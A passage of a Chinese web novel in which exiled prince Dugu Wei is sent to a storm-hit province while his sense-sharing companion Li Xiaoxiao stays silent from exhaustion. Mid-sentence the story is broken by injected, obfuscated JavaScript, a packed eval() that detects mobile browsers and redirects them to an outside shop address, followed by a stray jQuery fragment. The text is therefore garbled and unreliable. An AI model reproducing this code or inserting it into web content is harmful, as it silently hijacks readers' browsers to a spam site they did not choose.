“再过几年耀儿长大了,他还需要你去提携,正好,这几月崖州正闹风灾,你去那历练历练罢!既能访贫问苦体察民情,还能培养你茹苦含辛的能耐。等把灾患处理完再回来。”景帝拾起榻上奏折,扔给他。
独孤微:“啊?”
完蛋。
李潇潇生无可恋。
虽说下派挂职一般来说要比上派好,但……景帝看起来也不像会考虑这么多去栽培人的领导啊,估计就是嫌她老板太烦了,找个由头把他赶到看不见的地方。
老板都被针对成这样,她这个给老板打苦工的还能好过?
老板,能不能给力点啊!
独孤微住在撷芳殿那个堪比冷宫的地方,没有月例,十几年来全靠绣东西赚点吃饭钱,能攒下的物件少之又少,要带的行李便只能找出几件洗得褪色的衣服,还有几本旧书。
打包行李的时候,李潇潇一直没吭声,独孤微唤她也不理。
他唤了几遍没得到答复,就识趣地合上唇,不说话了,默默收拾好自己,跟着侍卫到了宫门口,坐上了出京城的马车。
马车上,他仍不死心,低低唤了声:“潇潇……”
“我没想到会变成这样,是我没用。你要离开我了吗?”
“你说话呀……”
“你说……”他泄了气。
她依旧没回他。
独孤微低头抠手。
虎口处的肌肤被他掐出好几个指甲印,他力道大又不知轻重,好几个掐得见了血。
【……老板,你真的,一点知觉都没有的吗?】
李潇潇咬牙切齿地问他。
经此提醒,他才猛然意识到:“啊……抱歉!我忘记你与我共感了,对不起,不要生我的气……好吗?”
【老板,我没有生你的气。】
【我不敢生老板的气。】
“……不敢?”
他垂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16888547|192127||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
眸,嗒然若丧:“我真没用,竟是不敢……”
李潇潇有些不知该说什么为好。
她说没生气就是没生气,她没那个心思去同独孤微闹别扭,不搭理他,单纯是累到了,还很无力。
每天明明在忙,忙得要死,却什么事都没做成,当然会无力。
【老板,我就是累得很,没力气每句话都回应你。】
【你开心一点好吗?别想那么多,我不会离开你的,你也不是没用,你……很有用。】
她实在是找不到词去夸他,她之前也从来没夸过自己的上司,她一般都称呼自己的老板为畜生,把他们当作只会汪汪叫唤的狗。
诡异的是,某些时刻她也会将独孤微想象成狗,不过与之前的那些狗不一样,不同在何处,她又说不上来。
起码他并非一条凶巴巴的狗。
他迟疑着,脸慢慢红起来,捂住手背星星点点的掐痕,干巴巴道:“好,我会记住的。”
赶路这几日,独孤微与李潇潇没讲多少话,都忙着各自的事。
李潇潇忙着发呆,独孤微就安安静静坐在马车里看书。
【老板,你哪里